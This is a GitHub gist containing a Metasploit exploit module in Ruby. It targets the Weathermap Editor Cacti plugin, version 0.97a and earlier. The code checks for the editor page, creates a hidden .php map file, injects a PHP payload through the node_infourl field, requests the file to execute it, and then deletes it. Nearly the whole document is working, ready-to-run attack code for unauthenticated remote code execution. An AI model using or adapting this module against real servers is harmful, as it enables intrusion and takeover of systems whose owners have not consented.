Skip to content

Instantly share code, notes, and snippets.

@gerry
Created August 23, 2016 18:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gerry/d977490319a474b9d777538452018b54 to your computer and use it in GitHub Desktop.
Save gerry/d977490319a474b9d777538452018b54 to your computer and use it in GitHub Desktop.
Weathermap Editor (cacti plugin) Arbitrary Code Execution
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Weathermap Editor Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in the Weathermap
Editor Cacti plugin. Authentication is not required to exploit the bug.
Version 0.97a and earlier of Weathermap Editor are affected.
},
'Author' =>
[
'Gerry Eisenhaur', # Vulnerability Discovery and Metasploit module
],
'License' => BSD_LICENSE,
'References' => [],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Keys' => ['php'],
},
'Targets' => [ ['Automatic', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 1 2013'))
register_options(
[
OptBool.new('SSL', [true, 'Use SSL', false]),
OptString.new('URI', [ true, "The full URI path to editor.php", '/plugins/weathermap/editor.php']),
], self.class)
end
def check
response = send_request_cgi({
'method' => "GET",
'uri' => normalize_uri(datastore['URI']),
}, 25)
if response.code == 200 and response.body =~ /\<title\>PHP Weathermap Editor/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
mapname = "." + Rex::Text.rand_text_alpha(8) + ".php"
uri = normalize_uri(datastore['URI'])
print_status("Creating new map: #{mapname}")
response = send_request_cgi({
'method' => "GET",
'uri' => uri,
'vars_get' => {
'action' => 'newmap',
'mapname' => mapname
}
})
if response and response.code != 200
print_error("Error creating map!")
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})")
end
print_status("Adding a node to the map.")
response = send_request_cgi({
'method' => "POST",
'uri' => uri,
'vars_post' => {
'action' => 'add_node',
'mapname' => mapname
}
})
if response and response.code != 200
print_error("Error creating new node!")
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})")
end
if not response.body =~ /\<pre\>added a node called (node[\d]*) at/
print_error("No node name found")
fail_with(Exploit::Failure::UnexpectedReply, "No node name found")
end
print_status("Sending payload...")
clean_up_payload = framework.payloads.create('php/exec')
clean_up_payload.datastore["CMD"] = "rm #{mapname}"
response = send_request_cgi({
'method' => "POST",
'uri' => uri,
'vars_post' => {
'action' => 'set_node_properties',
'mapname' => mapname,
'node_name' => $1,
'node_infourl' => "<?php #{payload.encoded}; #{clean_up_payload.generate} ?>"
}
})
if response and response.code != 200
print_error("Error setting attributes on node!")
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})")
end
print_status("Executing payload...")
response = send_request_cgi({
'method' => "GET",
'uri' => uri.sub('editor.php', 'configs/') + mapname
})
if response and response.code != 200
print_error("Error executing payload!")
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})")
end
print_status("Done.")
handler
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment